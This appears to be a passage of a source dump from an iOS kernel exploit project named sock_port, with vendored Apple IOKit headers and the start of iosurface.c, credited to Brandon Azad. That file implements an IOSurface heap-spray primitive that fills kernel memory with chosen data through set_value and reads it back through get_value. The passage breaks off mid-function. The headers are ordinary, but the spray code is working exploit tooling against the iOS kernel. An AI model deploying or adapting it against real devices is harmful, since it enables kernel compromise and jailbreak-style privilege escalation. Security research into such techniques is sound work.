        IOByteCount	structureSize,
        ... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5;

kern_return_t
IOConnectMethodStructureIStructureO(
	io_connect_t	connect,
        uint32_t	index,
        IOItemCount	structureInputSize,
        IOByteCount *	structureOutputSize,
        void *		inputStructure,
        void *		ouputStructure ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5;

// Compatability with earlier Mig interface routines
#if IOCONNECT_NO_32B_METHODS

kern_return_t
io_connect_map_memory(
	io_connect_t		connect,
	uint32_t		memoryType,
	task_port_t		intoTask,
	vm_address_t		*atAddress,
	vm_size_t		*ofSize,
	IOOptionBits		options) DEPRECATED_ATTRIBUTE;

kern_return_t
io_connect_unmap_memory(
	io_connect_t		connect,
	uint32_t		memoryType,
	task_port_t		fromTask,
	vm_address_t		atAddress) DEPRECATED_ATTRIBUTE;

kern_return_t
io_connect_method_scalarI_scalarO(
	mach_port_t connection,
	int selector,
	io_scalar_inband_t input,
	mach_msg_type_number_t inputCnt,
	io_scalar_inband_t output,
	mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE;

kern_return_t
io_connect_method_scalarI_structureO(
	mach_port_t connection,
	int selector,
	io_scalar_inband_t input,
	mach_msg_type_number_t inputCnt,
	io_struct_inband_t output,
	mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE;

kern_return_t
io_connect_method_scalarI_structureI(
	mach_port_t connection,
	int selector,
	io_scalar_inband_t input,
	mach_msg_type_number_t inputCnt,
	io_struct_inband_t inputStruct,
	mach_msg_type_number_t inputStructCnt) DEPRECATED_ATTRIBUTE;

kern_return_t
io_connect_method_structureI_structureO(
	mach_port_t connection,
	int selector,
	io_struct_inband_t input,
	mach_msg_type_number_t inputCnt,
	io_struct_inband_t output,
	mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE;

kern_return_t
io_async_method_scalarI_scalarO(
	mach_port_t connection,
	mach_port_t wake_port,
	io_async_ref_t reference,
	mach_msg_type_number_t referenceCnt,
	int selector,
	io_scalar_inband_t input,
	mach_msg_type_number_t inputCnt,
	io_scalar_inband_t output,
	mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE;

kern_return_t
io_async_method_scalarI_structureO(
	mach_port_t connection,
	mach_port_t wake_port,
	io_async_ref_t reference,
	mach_msg_type_number_t referenceCnt,
	int selector,
	io_scalar_inband_t input,
	mach_msg_type_number_t inputCnt,
	io_struct_inband_t output,
	mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE;

kern_return_t
io_async_method_scalarI_structureI(
	mach_port_t connection,
	mach_port_t wake_port,
	io_async_ref_t reference,
	mach_msg_type_number_t referenceCnt,
	int selector,
	io_scalar_inband_t input,
	mach_msg_type_number_t inputCnt,
	io_struct_inband_t inputStruct,
	mach_msg_type_number_t inputStructCnt) DEPRECATED_ATTRIBUTE;

kern_return_t
io_async_method_structureI_structureO(
	mach_port_t connection,
	mach_port_t wake_port,
	io_async_ref_t reference,
	mach_msg_type_number_t referenceCnt,
	int selector,
	io_struct_inband_t input,
	mach_msg_type_number_t inputCnt,
	io_struct_inband_t output,
	mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE;
#endif // IOCONNECT_NO_32B_METHODS

#endif /* defined(__LP64__) */

__END_DECLS

#endif /* ! _IOKIT_IOKITLIB_H */


================================================
FILE: sock_port/include/IOKit/IOReturn.h
================================================
/*
 * Copyright (c) 1998-2002 Apple Computer, Inc. All rights reserved.
 *
 * @APPLE_OSREFERENCE_LICENSE_HEADER_START@
 * 
 * This file contains Original Code and/or Modifications of Original Code
 * as defined in and that are subject to the Apple Public Source License
 * Version 2.0 (the 'License'). You may not use this file except in
 * compliance with the License. The rights granted to you under the License
 * may not be used to create, or enable the creation or redistribution of,
 * unlawful or unlicensed copies of an Apple operating system, or to
 * circumvent, violate, or enable the circumvention or violation of, any
 * terms of an Apple operating system software license agreement.
 * 
 * Please obtain a copy of the License at
 * http://www.opensource.apple.com/apsl/ and read it before using this file.
 * 
 * The Original Code and all software distributed under the License are
 * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
 * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
 * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
 * Please see the License for the specific language governing rights and
 * limitations under the License.
 * 
 * @APPLE_OSREFERENCE_LICENSE_HEADER_END@
 */
/*
 * HISTORY
 */
 
/*
 * Core IOReturn values. Others may be family defined.
 */

#ifndef __IOKIT_IORETURN_H
#define __IOKIT_IORETURN_H

#ifdef __cplusplus
extern "C" {
#endif

#include <mach/error.h>

typedef	kern_return_t		IOReturn;

#ifndef sys_iokit
#define sys_iokit                         err_system(0x38)
#endif /* sys_iokit */
#define sub_iokit_common                  err_sub(0)
#define sub_iokit_usb                     err_sub(1)
#define sub_iokit_firewire                err_sub(2)
#define sub_iokit_block_storage           err_sub(4)
#define sub_iokit_graphics                err_sub(5)
#define sub_iokit_networking		  err_sub(6)
#define sub_iokit_bluetooth               err_sub(8)
#define sub_iokit_pmu                     err_sub(9)
#define sub_iokit_acpi                    err_sub(10)
#define sub_iokit_smbus                   err_sub(11)
#define sub_iokit_ahci                    err_sub(12)
#define sub_iokit_powermanagement         err_sub(13)
//#define sub_iokit_hidsystem             err_sub(14)
#define sub_iokit_scsi                    err_sub(16)
//#define sub_iokit_pccard                err_sub(21)

#define sub_iokit_vendor_specific         err_sub(-2)
#define sub_iokit_reserved                err_sub(-1)

#define	iokit_common_err(return)          (sys_iokit|sub_iokit_common|return)
#define	iokit_family_err(sub,return)      (sys_iokit|sub|return)
#define iokit_vendor_specific_err(return) (sys_iokit|sub_iokit_vendor_specific|return)

#define kIOReturnSuccess         KERN_SUCCESS            // OK
#define kIOReturnError           iokit_common_err(0x2bc) // general error 	
#define kIOReturnNoMemory        iokit_common_err(0x2bd) // can't allocate memory 
#define kIOReturnNoResources     iokit_common_err(0x2be) // resource shortage 
#define kIOReturnIPCError        iokit_common_err(0x2bf) // error during IPC 
#define kIOReturnNoDevice        iokit_common_err(0x2c0) // no such device 
#define kIOReturnNotPrivileged   iokit_common_err(0x2c1) // privilege violation 
#define kIOReturnBadArgument     iokit_common_err(0x2c2) // invalid argument 
#define kIOReturnLockedRead      iokit_common_err(0x2c3) // device read locked 
#define kIOReturnLockedWrite     iokit_common_err(0x2c4) // device write locked 
#define kIOReturnExclusiveAccess iokit_common_err(0x2c5) // exclusive access and
                                                         //   device already open 
#define kIOReturnBadMessageID    iokit_common_err(0x2c6) // sent/received messages
                                                         //   had different msg_id
#define kIOReturnUnsupported     iokit_common_err(0x2c7) // unsupported function 
#define kIOReturnVMError         iokit_common_err(0x2c8) // misc. VM failure 
#define kIOReturnInternalError   iokit_common_err(0x2c9) // internal error 
#define kIOReturnIOError         iokit_common_err(0x2ca) // General I/O error 
//#define kIOReturn???Error      iokit_common_err(0x2cb) // ??? 
#define kIOReturnCannotLock      iokit_common_err(0x2cc) // can't acquire lock
#define kIOReturnNotOpen         iokit_common_err(0x2cd) // device not open 
#define kIOReturnNotReadable     iokit_common_err(0x2ce) // read not supported 
#define kIOReturnNotWritable     iokit_common_err(0x2cf) // write not supported 
#define kIOReturnNotAligned      iokit_common_err(0x2d0) // alignment error 
#define kIOReturnBadMedia        iokit_common_err(0x2d1) // Media Error 
#define kIOReturnStillOpen       iokit_common_err(0x2d2) // device(s) still open 
#define kIOReturnRLDError        iokit_common_err(0x2d3) // rld failure 
#define kIOReturnDMAError        iokit_common_err(0x2d4) // DMA failure 
#define kIOReturnBusy            iokit_common_err(0x2d5) // Device Busy 
#define kIOReturnTimeout         iokit_common_err(0x2d6) // I/O Timeout 
#define kIOReturnOffline         iokit_common_err(0x2d7) // device offline 
#define kIOReturnNotReady        iokit_common_err(0x2d8) // not ready 
#define kIOReturnNotAttached     iokit_common_err(0x2d9) // device not attached 
#define kIOReturnNoChannels      iokit_common_err(0x2da) // no DMA channels left
#define kIOReturnNoSpace         iokit_common_err(0x2db) // no space for data 
//#define kIOReturn???Error      iokit_common_err(0x2dc) // ??? 
#define kIOReturnPortExists      iokit_common_err(0x2dd) // port already exists
#define kIOReturnCannotWire      iokit_common_err(0x2de) // can't wire down 
                                                         //   physical memory
#define kIOReturnNoInterrupt     iokit_common_err(0x2df) // no interrupt attached
#define kIOReturnNoFrames        iokit_common_err(0x2e0) // no DMA frames enqueued
#define kIOReturnMessageTooLarge iokit_common_err(0x2e1) // oversized msg received
                                                         //   on interrupt port
#define kIOReturnNotPermitted    iokit_common_err(0x2e2) // not permitted
#define kIOReturnNoPower         iokit_common_err(0x2e3) // no power to device
#define kIOReturnNoMedia         iokit_common_err(0x2e4) // media not present
#define kIOReturnUnformattedMedia iokit_common_err(0x2e5)// media not formatted
#define kIOReturnUnsupportedMode iokit_common_err(0x2e6) // no such mode
#define kIOReturnUnderrun        iokit_common_err(0x2e7) // data underrun
#define kIOReturnOverrun         iokit_common_err(0x2e8) // data overrun
#define kIOReturnDeviceError	 iokit_common_err(0x2e9) // the device is not working properly!
#define kIOReturnNoCompletion	 iokit_common_err(0x2ea) // a completion routine is required
#define kIOReturnAborted	 iokit_common_err(0x2eb) // operation aborted
#define kIOReturnNoBandwidth	 iokit_common_err(0x2ec) // bus bandwidth would be exceeded
#define kIOReturnNotResponding	 iokit_common_err(0x2ed) // device not responding
#define kIOReturnIsoTooOld	 iokit_common_err(0x2ee) // isochronous I/O request for distant past!
#define kIOReturnIsoTooNew	 iokit_common_err(0x2ef) // isochronous I/O request for distant future
#define kIOReturnNotFound        iokit_common_err(0x2f0) // data was not found
#define kIOReturnInvalid         iokit_common_err(0x1)   // should never be seen

#ifdef __cplusplus
}
#endif

#endif /* ! __IOKIT_IORETURN_H */


================================================
FILE: sock_port/include/IOKit/IOTypes.h
================================================
/*
 * Copyright (c) 1998-2006 Apple Computer, Inc. All rights reserved.
 *
 * @APPLE_OSREFERENCE_LICENSE_HEADER_START@
 * 
 * This file contains Original Code and/or Modifications of Original Code
 * as defined in and that are subject to the Apple Public Source License
 * Version 2.0 (the 'License'). You may not use this file except in
 * compliance with the License. The rights granted to you under the License
 * may not be used to create, or enable the creation or redistribution of,
 * unlawful or unlicensed copies of an Apple operating system, or to
 * circumvent, violate, or enable the circumvention or violation of, any
 * terms of an Apple operating system software license agreement.
 * 
 * Please obtain a copy of the License at
 * http://www.opensource.apple.com/apsl/ and read it before using this file.
 * 
 * The Original Code and all software distributed under the License are
 * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
 * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
 * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
 * Please see the License for the specific language governing rights and
 * limitations under the License.
 * 
 * @APPLE_OSREFERENCE_LICENSE_HEADER_END@
 */
#ifndef	__IOKIT_IOTYPES_H
#define __IOKIT_IOTYPES_H

#ifndef IOKIT
#define IOKIT 1
#endif /* !IOKIT */

#if KERNEL
#include <IOKit/system.h>
#else
#include <mach/message.h>
#include <mach/vm_types.h>
#endif

#include "IOReturn.h"

#ifdef __cplusplus
extern "C" {
#endif

#ifndef	NULL
#if defined (__cplusplus)
#define	NULL	0
#else
#define NULL ((void *)0)
#endif
#endif
	
/*
 * Simple data types.
 */
#ifndef __MACTYPES__	/* CF MacTypes.h */
#ifndef __TYPES__	/* guess... Mac Types.h */

#include <stdbool.h>
#include <libkern/OSTypes.h>

#endif /* __TYPES__ */
#endif /* __MACTYPES__ */

#if KERNEL
#include <libkern/OSBase.h>
#endif

typedef UInt32		IOOptionBits;
typedef SInt32		IOFixed;
typedef UInt32		IOVersion;
typedef UInt32		IOItemCount;
typedef UInt32  	IOCacheMode;

typedef UInt32	 	IOByteCount32;
typedef UInt64	 	IOByteCount64;

typedef UInt32	IOPhysicalAddress32;
typedef UInt64	IOPhysicalAddress64;
typedef UInt32	IOPhysicalLength32;
typedef UInt64	IOPhysicalLength64;

#ifdef __LP64__
typedef mach_vm_address_t	IOVirtualAddress;
#else
typedef vm_address_t		IOVirtualAddress;
#endif

#if defined(__LP64__) && defined(KERNEL)
typedef IOByteCount64		IOByteCount;
#else
typedef IOByteCount32	 	IOByteCount;
#endif

typedef IOVirtualAddress    IOLogicalAddress;

#if defined(__LP64__) && defined(KERNEL)

typedef IOPhysicalAddress64	 IOPhysicalAddress;
typedef IOPhysicalLength64	 IOPhysicalLength;
#define IOPhysical32( hi, lo )		((UInt64) lo + ((UInt64)(hi) << 32))
#define IOPhysSize	64

#else

typedef IOPhysicalAddress32	 IOPhysicalAddress;
typedef IOPhysicalLength32	 IOPhysicalLength;
#define IOPhysical32( hi, lo )		(lo)
#define IOPhysSize	32

#endif


typedef struct
{
    IOPhysicalAddress	address;
    IOByteCount		length;
} IOPhysicalRange;

typedef struct 
{
    IOVirtualAddress	address;
    IOByteCount		length;
} IOVirtualRange;

#ifdef __LP64__
typedef IOVirtualRange	IOAddressRange;
#else /* !__LP64__ */
typedef struct 
{
    mach_vm_address_t	address;
    mach_vm_size_t	length;
} IOAddressRange;
#endif /* !__LP64__ */

/*
 * Map between #defined or enum'd constants and text description.
 */
typedef struct {
	int value;
	const char *name;
} IONamedValue;


/*
 * Memory alignment -- specified as a power of two.
 */
typedef unsigned int	IOAlignment;

#define IO_NULL_VM_TASK		((vm_task_t)0)


/*
 * Pull in machine specific stuff.
 */

//#include <IOKit/machine/IOTypes.h>

#ifndef MACH_KERNEL

#ifndef __IOKIT_PORTS_DEFINED__
#define __IOKIT_PORTS_DEFINED__
#ifdef KERNEL
typedef struct OSObject * io_object_t;
#else /* KERNEL */
typedef mach_port_t	io_object_t;
#endif /* KERNEL */
#endif /* __IOKIT_PORTS_DEFINED__ */

#include <device/device_types.h>

typedef io_object_t	io_connect_t;
typedef io_object_t	io_enumerator_t;
typedef io_object_t	io_iterator_t;
typedef io_object_t	io_registry_entry_t;
typedef io_object_t	io_service_t;

#define	IO_OBJECT_NULL	((io_object_t) 0)

#endif /* MACH_KERNEL */

// IOConnectMapMemory memoryTypes
enum {
    kIODefaultMemoryType	= 0
};

enum {
    kIODefaultCache		= 0,
    kIOInhibitCache		= 1,
    kIOWriteThruCache		= 2,
    kIOCopybackCache		= 3,
    kIOWriteCombineCache	= 4
};

// IOMemory mapping options
enum {
    kIOMapAnywhere		= 0x00000001,

    kIOMapCacheMask		= 0x00000700,
    kIOMapCacheShift		= 8,
    kIOMapDefaultCache		= kIODefaultCache      << kIOMapCacheShift,
    kIOMapInhibitCache		= kIOInhibitCache      << kIOMapCacheShift,
    kIOMapWriteThruCache	= kIOWriteThruCache    << kIOMapCacheShift,
    kIOMapCopybackCache		= kIOCopybackCache     << kIOMapCacheShift,
    kIOMapWriteCombineCache	= kIOWriteCombineCache << kIOMapCacheShift,

    kIOMapUserOptionsMask	= 0x00000fff,

    kIOMapReadOnly		= 0x00001000,

    kIOMapStatic		= 0x01000000,
    kIOMapReference		= 0x02000000,
    kIOMapUnique		= 0x04000000
#ifdef XNU_KERNEL_PRIVATE
    , kIOMap64Bit		= 0x08000000
#endif
};

/*! @enum Scale Factors
    @discussion Used when a scale_factor parameter is required to define a unit of time.
    @constant kNanosecondScale Scale factor for nanosecond based times.
    @constant kMicrosecondScale Scale factor for microsecond based times.
    @constant kMillisecondScale Scale factor for millisecond based times.
    @constant kTickScale Scale factor for the standard (100Hz) tick.
    @constant kSecondScale Scale factor for second based times. */

enum {
    kNanosecondScale  = 1,
    kMicrosecondScale = 1000,
    kMillisecondScale = 1000 * 1000,
    kSecondScale      = 1000 * 1000 * 1000,
    kTickScale        = (kSecondScale / 100)
};

/* compatibility types */

#ifndef KERNEL

typedef unsigned int IODeviceNumber;

#endif

#ifdef __cplusplus
}
#endif

#endif /* ! __IOKIT_IOTYPES_H */


================================================
FILE: sock_port/include/IOKit/OSMessageNotification.h
================================================
/*
 * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved.
 *
 * @APPLE_LICENSE_HEADER_START@
 * 
 * This file contains Original Code and/or Modifications of Original Code
 * as defined in and that are subject to the Apple Public Source License
 * Version 2.0 (the 'License'). You may not use this file except in
 * compliance with the License. Please obtain a copy of the License at
 * http://www.opensource.apple.com/apsl/ and read it before using this
 * file.
 * 
 * The Original Code and all software distributed under the License are
 * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
 * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
 * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
 * Please see the License for the specific language governing rights and
 * limitations under the License.
 * 
 * @APPLE_LICENSE_HEADER_END@
 */
/*
 * Copyright (c) 1999 Apple Computer, Inc.  All rights reserved. 
 *
 * HISTORY
 *
 */

#ifndef	__OS_OSMESSAGENOTIFICATION_H
#define __OS_OSMESSAGENOTIFICATION_H

#ifdef __cplusplus
extern "C" {
#endif

#include <mach/mach_types.h>
#include "IOReturn.h"

enum {
    kFirstIOKitNotificationType 		= 100,
    kIOServicePublishNotificationType 		= 100,
    kIOServiceMatchedNotificationType		= 101,
    kIOServiceTerminatedNotificationType	= 102,
    kIOAsyncCompletionNotificationType		= 150,
    kIOServiceMessageNotificationType		= 160,
    kLastIOKitNotificationType 			= 199
};

enum {
    kOSNotificationMessageID		= 53,
    kOSAsyncCompleteMessageID		= 57,
    kMaxAsyncArgs			= 16
};

enum {
    kIOAsyncReservedIndex 	= 0,
    kIOAsyncReservedCount,

    kIOAsyncCalloutFuncIndex 	= kIOAsyncReservedCount,
    kIOAsyncCalloutRefconIndex,
    kIOAsyncCalloutCount,

    kIOMatchingCalloutFuncIndex	= kIOAsyncReservedCount,
    kIOMatchingCalloutRefconIndex,
    kIOMatchingCalloutCount,
    
    kIOInterestCalloutFuncIndex	= kIOAsyncReservedCount,
    kIOInterestCalloutRefconIndex,
    kIOInterestCalloutServiceIndex,
    kIOInterestCalloutCount
};

enum {
    kOSAsyncRefCount	= 8,
    kOSAsyncRefSize 	= 32
};
typedef natural_t OSAsyncReference[kOSAsyncRefCount];

struct OSNotificationHeader {
    vm_size_t		size;		/* content size */
    natural_t		type;
    OSAsyncReference	reference;

#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
    unsigned char	content[];
#else
    unsigned char	content[0];
#endif
};

struct IOServiceInterestContent {
    natural_t	messageType;
    void *	messageArgument[1];
};

struct IOAsyncCompletionContent {
    IOReturn result;
#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
    void * args[];
#else
    void * args[0];
#endif
};

#ifndef __cplusplus
typedef struct OSNotificationHeader OSNotificationHeader;
typedef struct IOServiceInterestContent IOServiceInterestContent;
typedef struct IOAsyncCompletionContent IOAsyncCompletionContent;
#endif

#ifdef __cplusplus
}
#endif

#endif /*  __OS_OSMESSAGENOTIFICATION_H */



================================================
FILE: sock_port/iosurface.c
================================================
/*
 * iosurface.c
 * Brandon Azad
 */
#define IOSURFACE_EXTERN
#include "iosurface.h"

// ---- Global variables --------------------------------------------------------------------------

// Is the IOSurface subsystem initialized?
static bool IOSurface_initialized;

// ---- Functions ---------------------------------------------------------------------------------

#define ERROR(str, ...) printf("[-] "str, ##__VA_ARGS__)
bool
IOSurface_init() {
	if (IOSurface_initialized) {
		return true;
	}
	IOSurfaceRoot = IOServiceGetMatchingService(
			kIOMasterPortDefault,
			IOServiceMatching("IOSurfaceRoot"));
	if (IOSurfaceRoot == MACH_PORT_NULL) {
		ERROR("could not find %s", "IOSurfaceRoot");
		return false;
	}
	kern_return_t kr = IOServiceOpen(
			IOSurfaceRoot,
			mach_task_self(),
			0,
			&IOSurfaceRootUserClient);
	if (kr != KERN_SUCCESS) {
		ERROR("could not open %s", "IOSurfaceRootUserClient");
		return false;
	}
	struct _IOSurfaceFastCreateArgs create_args = { .alloc_size = 0x4000, };
	struct IOSurfaceLockResult lock_result;
    
    extern uint32_t create_outsize;
	size_t lock_result_size = create_outsize;
	kr = IOConnectCallMethod(
			IOSurfaceRootUserClient,
			6, // create_surface_client_fast_path
			NULL, 0,
			&create_args, sizeof(create_args),
			NULL, NULL,
			&lock_result, &lock_result_size);
	if (kr != KERN_SUCCESS) {
		ERROR("could not create %s: 0x%x", "IOSurfaceClient", kr);
		return false;
	}
	IOSurface_id = lock_result.surface_id;
    if (!IOSurface_id) {
        IOSurface_id = (uint32_t)lock_result.addr3;
    }
	IOSurface_initialized = true;
	return true;
}

void
IOSurface_deinit() {
	assert(IOSurface_initialized);
	IOSurface_initialized = false;
	IOSurface_id = 0;
	IOServiceClose(IOSurfaceRootUserClient);
	IOObjectRelease(IOSurfaceRoot);
}

/*
 * IOSurface_set_value
 *
 * Description:
 * 	A wrapper around IOSurfaceRootUserClient::set_value().
 */
bool
IOSurface_set_value(const struct IOSurfaceValueArgs *args, size_t args_size) {
	struct IOSurfaceValueResultArgs result;
	size_t result_size = sizeof(result);
	kern_return_t kr = IOConnectCallMethod(
			IOSurfaceRootUserClient,
			9, // set_value
			NULL, 0,
			args, args_size,
			NULL, NULL,
			&result, &result_size);
	if (kr != KERN_SUCCESS) {
		ERROR("failed to %s value in %s: 0x%x", "set", "IOSurface", kr);
		return false;
	}
	return true;
}

/*
 * IOSurface_get_value
 *
 * Description:
 * 	A wrapper around IOSurfaceRootUserClient::get_value().
 */
static bool
IOSurface_get_value(const struct IOSurfaceValueArgs *in, size_t in_size,
		struct IOSurfaceValueArgs *out, size_t *out_size) {
	kern_return_t kr = IOConnectCallMethod(
			IOSurfaceRootUserClient,
			10, // get_value
			NULL, 0,
			in, in_size,
			NULL, NULL,
			out, out_size);
	if (kr != KERN_SUCCESS) {
		ERROR("failed to %s value in %s: 0x%x", "get", "IOSurface", kr);
		return false;
	}
	return true;
}

/*
 * IOSurface_remove_value
 *
 * Description:
 * 	A wrapper around IOSurfaceRootUserClient::remove_value().
 */
static bool
IOSurface_remove_value(const struct IOSurfaceValueArgs *args, size_t args_size) {
	struct IOSurfaceValueResultArgs result;
	size_t result_size = sizeof(result);
	kern_return_t kr = IOConnectCallMethod(
			IOSurfaceRootUserClient,
			11, // remove_value
			NULL, 0,
			args, args_size,
			NULL, NULL,
			&result, &result_size);
	if (kr != KERN_SUCCESS) {
		ERROR("failed to %s value in %s: 0x%x", "remove", "IOSurface", kr);
		return false;
	}
	return true;
}

/*
 * base255_encode
 *
 * Description:
 * 	Encode an integer so that it does not contain any null bytes.
 */
static uint32_t
base255_encode(uint32_t value) {
	uint32_t encoded = 0;
	for (unsigned i = 0; i < sizeof(value); i++) {
		encoded |= ((value % 255) + 1) << (8 * i);
		value /= 255;
	}
	return encoded;
}

/*
 * xml_units_for_data_size
 *
 * Description:
 * 	Return the number of XML units needed to store the given size of data in an OSString.
 */
static size_t
xml_units_for_data_size(size_t data_size) {
	return ((data_size - 1) + sizeof(uint32_t) - 1) / sizeof(uint32_t);
}

/*
 * serialize_IOSurface_data_array
 *
 * Description:
 * 	Create the template of the serialized array to pass to IOSurfaceUserClient::set_value().
 * 	Returns the size of the serialized data in bytes.
 */
static size_t
serialize_IOSurface_data_array(uint32_t *xml0, uint32_t array_length, uint32_t data_size,
		uint32_t **xml_data, uint32_t **key) {
	uint32_t *xml = xml0;
	*xml++ = kOSSerializeBinarySignature;
	*xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection;
	*xml++ = kOSSerializeArray | array_length;
	for (size_t i = 0; i < array_length; i++) {
		uint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0);
		*xml++ = kOSSerializeData | (data_size - 1) | flags;
		xml_data[i] = xml;
		xml += xml_units_for_data_size(data_size);
	}
	*xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection;
	*key = xml++;		// This will be filled in on each array loop.
	*xml++ = 0;		// Null-terminate the symbol.
	return (xml - xml0) * sizeof(*xml);
}

/*
 * IOSurface_spray_with_gc_internal
 *
 * Description:
 * 	A generalized version of IOSurface_spray_with_gc() and IOSurface_spray_size_with_gc().
 */

static uint32_t total_arrays = 0;
static bool
IOSurface_spray_with_gc_internal(uint32_t array_count, uint32_t array_length, uint32_t extra_count,
		void *data, uint32_t data_size,
		void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
	assert(array_count <= 0xffffff);
	assert(array_length <= 0xffff);
	assert(data_size <= 0xffffff);
	assert(extra_count < array_count);
	// Make sure our IOSurface is initialized.
	bool ok = IOSurface_init();
	if (!ok) {
		return 0;
	}
	// How big will our OSUnserializeBinary dictionary be?
	uint32_t current_array_length = array_length + (extra_count > 0 ? 1 : 0);
	size_t xml_units_per_data = xml_units_for_data_size(data_size);
	size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;
	// Allocate the args struct.
	struct IOSurfaceValueArgs *args;
	size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]);
	args = malloc(args_size);
	assert(args != 0);
	// Build the IOSurfaceValueArgs.
	args->surface_id = IOSurface_id;
	// Create the serialized OSArray. We'll remember the locations we need to fill in with our
	// data as well as the slot we need to set our key.
	uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));
	assert(xml_data != NULL);
	uint32_t *key;
	size_t xml_size = serialize_IOSurface_data_array(args->xml,
			current_array_length, data_size, xml_data, &key);
	assert(xml_size == xml_units * sizeof(args->xml[0]));
	// Keep track of when we need to do GC.
	size_t sprayed = 0;
	size_t next_gc_step = 0;
	// Loop through the arrays.
	for (uint32_t array_id = 0; array_id < array_count; array_id++) {
		// If we've crossed the GC sleep boundary, sleep for a bit and schedule the
		// next one.
		// Now build the array and its elements.
		*key = base255_encode(total_arrays + array_id);
		for (uint32_t data_id = 0; data_id < current_array_length; data_id++) {
			// Update the data for this spray if the user requested.
			if (callback != NULL) {
				callback(array_id, data_id, data, data_size);
			}
			// Copy in the data to the appropriate slot.
			memcpy(xml_data[data_id], data, data_size - 1);
		}
		// Finally set the array in the surface.
		ok = IOSurface_set_value(args, args_size);
		if (!ok) {
			free(args);
			free(xml_data);
			return false;
		}
		if (ok) {
			sprayed += data_size * current_array_length;
			// If we just sprayed an array with an extra element, decrement the
			// outstanding extra_count.
			if (current_array_length > array_length) {
				assert(extra_count > 0);
				extra_count--;
				// If our extra_count is now 0, rebuild our serialized array. (We
				// could implement this as a memmove(), but I'm lazy.)
				if (extra_count == 0) {
					current_array_length--;
					serialize_IOSurface_data_array(args->xml,
							current_array_length, data_size,
							xml_data, &key);
				}
			}
		}
	}
	if (next_gc_step > 0) {
		// printf("\n");
	}
	// Clean up resources.
	free(args);
	free(xml_data);
	total_arrays += array_count;
	return true;
}

bool
IOSurface_spray_with_gc(uint32_t array_count, uint32_t array_length,
		void *data, uint32_t data_size,
		void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
	return IOSurface_spray_with_gc_internal(array_count, array_length, 0,
			data, data_size, callback);
}

bool
IOSurface_spray_size_with_gc(uint32_t array_count, size_t spray_size,
		void *data, uint32_t data_size,
		void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
	assert(array_count <= 0xffffff);
	assert(data_size <= 0xffffff);
	size_t data_count = (spray_size + data_size - 1) / data_size;
	size_t array_length = data_count / array_count;
	size_t extra_count = data_count % array_count;
	assert(array_length <= 0xffff);
	return IOSurface_spray_with_gc_internal(array_count, (uint32_t) array_length,
			(uint32_t) extra_count, data, data_size, callback);
}

bool
IOSurface_spray_read_array(uint32_t array_id, uint32_t array_length, uint32_t data_size,
		void (^callback)(uint32_t data_id, void *data, size_t size)) {
	assert(IOSurface_initialized);
	assert(array_id < 0xffffff);
	assert(array_length <= 0xffff);
	assert(data_size <= 0xffffff);
	bool success = false;
	// Create the input args.
	struct IOSurfaceValueArgs_string args_in = {};
	args_in.surface_id = IOSurface_id;
	args_in.string_data = base255_encode(array_id);
	// Create the output args.
	size_t xml_units_per_data = xml_units_for_data_size(data_size);
	size_t xml_units = 1 + 1 + (1 + xml_units_per_data) * array_length;
	struct IOSurfaceValueArgs *args_out;
	size_t args_out_size = sizeof(*args_out) + xml_units * sizeof(args_out->xml[0]);
	// Over-allocate the output buffer a little bit. This allows us to directly pass the inline
	// data to the client without having to worry about the fact that the kernel data is 1 byte
	// shorter (which otherwise would produce an out-of-bounds read on the last element for
	// certain data sizes). Yeah, it's a hack, deal with it.
	args_out = malloc(args_out_size + sizeof(uint32_t));
	assert(args_out != 0);
	// Get the value.
	bool ok = IOSurface_get_value((struct IOSurfaceValueArgs *)&args_in, sizeof(args_in),
			args_out, &args_out_size);
	if (!ok) {
		goto fail;
	}
	// Do the ugly parsing ourselves. :(
	uint32_t *xml = args_out->xml;
	if (*xml++ != kOSSerializeBinarySignature) {
		ERROR("did not find OSSerializeBinary signature");
		goto fail;
	}
	if (*xml++ != (kOSSerializeArray | array_length | kOSSerializeEndCollection)) {
		ERROR("unexpected container");
		goto fail;
	}
	for (uint32_t data_id = 0; data_id < array_length; data_id++) {
		uint32_t flags = (data_id == array_length - 1 ? kOSSerializeEndCollection : 0);
